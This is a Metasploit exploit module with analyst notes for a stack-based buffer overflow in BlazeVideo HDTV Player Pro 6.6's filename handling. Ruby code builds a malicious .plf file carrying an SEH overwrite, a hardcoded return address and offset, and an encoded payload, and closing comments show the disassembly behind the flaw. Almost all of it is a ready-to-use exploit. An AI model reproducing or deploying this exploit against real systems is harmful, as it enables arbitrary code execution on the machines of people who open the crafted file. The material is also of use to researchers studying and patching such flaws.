BlazeVideo HDTV Player Pro 6.6 - Filename Handling (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info={})
		super(update_info(info,
			'Name'           => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
				handling routine.  When supplying a string of input data embedded in a .plf file,
				the MediaPlayerCtrl.dll component will try to extract a filename by using
				PathFindFileNameA(), and then copies whatever the return value is on the stack by
				using an inline strcpy.  As a result, if this input data is long enough, it can cause
				a stack-based buffer overflow, which may lead to arbitrary code execution under the
				context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'b33f',   #Original
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '80896'],
					['EDB', '18693'],
					['EDB', '22931']
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00\x0a\x1a\x2f\x3a\x5c",
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# MediaPlayerCtrl.dll P/P/R
					# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
					['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 03 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
			], self.class)
	end

	def exploit
		buf = 'http://'
		buf << rand_text_alpha_upper(target['Offset'])
		buf << generate_seh_record(target.ret)
		buf << payload.encoded
		buf << rand_text_alpha(5000-buf.length)

		print_status("Creating '#{datastore['FILENAME']}'...")
		file_create(buf)
	end
end

=begin
Version: HDTV Player Professional v6.6

In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
.text:6400E574                 mov     eax, [esp+138h+Source]
.text:6400E578                 mov     edx, [ebp+0ECh]
.text:6400E57E                 push    eax
.text:6400E57F                 push    eax             ; pszPath  <-- Our URL
.text:6400E580                 mov     edi, [edx]
.text:6400E582                 call    ebx ; PathFindFileNameA
.text:6400E584                 mov     ecx, [ebp+0ECh]
.text:6400E58A                 push    eax             ; File path to copy
.text:6400E58B                 push    esi
.text:6400E58C                 push    1
.text:6400E58E                 call    dword ptr [edi] ; 0x6400f1f0

0x6400F1F0 (no length check either) goes down to 0x6400F670:

int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
{
  ...

  v5 = this;
  if ( a2 && source && a5 )
  {
    memset(&buffer, 0, '\x02\x10');
    v16 = *(this + 4);
    *(this + 4) = v16 + 1;
    v18 = a3;
    buffer = a2;
    strcpy(&Dest2, source);  // <-- This is a rep movs
=end